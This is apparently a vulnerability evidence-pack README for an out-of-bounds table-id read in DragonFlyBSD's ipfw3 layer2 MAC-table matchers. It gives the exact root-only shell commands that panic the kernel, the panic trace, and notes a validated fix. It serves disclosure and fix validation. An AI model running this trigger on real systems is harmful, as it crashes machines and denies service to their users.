# DF-0749 — Unbounded table-id index in MAC-table lookup matchers (ipfw3 layer2)

> **Status: REPRODUCED (panic / DoS, root-reachable).**  
> **Impact ceiling: kernel panic from root.** Unprivileged escalation is
> impossible — `kldload` + `ipfw3 add` are both `PRIV_ROOT`. The primitive
> is a read-only OOB load; the loaded value is never dereferenced (eh-gate)
> and never copied to userspace (no leak).  
> **Fix VALIDATED** on a built-and-booted single-fix kernel.

## Files in this evidence pack

| file             | what it is                                              |
|------------------|---------------------------------------------------------|
| `trigger.c`      | C wrapper around the trigger (compiles; not strictly needed) |
| `trigger.sh`     | self-contained sh trigger                               |
| `run.sh`         | the exact run invocation (used for baseline + patched runs) |
| `build.sh`       | exact build command                                     |
| `build.log`      | full compiler output of the final C build               |
| `run.log`        | decisive baseline run (stdout; panic captured in panic.txt) |
| `fix_run.log`    | decisive patched-kernel run (clean, no panic)           |
| `fix_build.log`  | single-fix kernel build log (excerpt; full on guest)    |
| `panic.txt`      | kernel panic signature from serial boot.log (the proof) |
| `env.txt`        | guest uname, cc version, sysctl state                   |
| `fix.diff`       | git-apply-able unified diff fixing the bug              |
| `VERDICT.md`     | full narrative with path:line citations                 |
| `manifest.json`  | machine-readable catalog                                |

## How to reproduce (unpatched kernel)

On the DragonFlyBSD master DEV guest as **root**:

```sh
sysctl net.filters_default_to_accept=1     # keep ssh reachable
kldload ipfw3
kldload ipfw3_basic
kldload ipfw3_layer2
ipfw3 flush
ipfw3 add 1000 allow ip from any to any mac-from table 65535
ping -c 1 127.0.0.1
```

Within ~1–2 s the kernel will panic with:

```
Fatal trap 12: page fault while in kernel mode
fault virtual address = 0xffff...     (≈ 3.5 MB past table_ctx)
Stopped at      check_mac_from_lookup+0x37:     movq    (%rax),%rbx
```

Capture it from `dfbsd-qemu/boot.log`.

## Expected on a fixed kernel

The same trigger completes; the rule is added (`ipfw3 list` shows it), but
sending packets does **not** panic the kernel. The bounds-checked matcher
returns `IP_FW_NOT_MATCH` for `arg1 >= 32` and skips the OOB read entirely.

## Build / run

```sh
./build.sh        # compiles trigger.c (optional; the shell trigger is sufficient)
./run.sh          # invokes the trigger (run as root on the guest)
```

See `VERDICT.md` for the full mechanism, reachability, and Phase-8 fix
validation.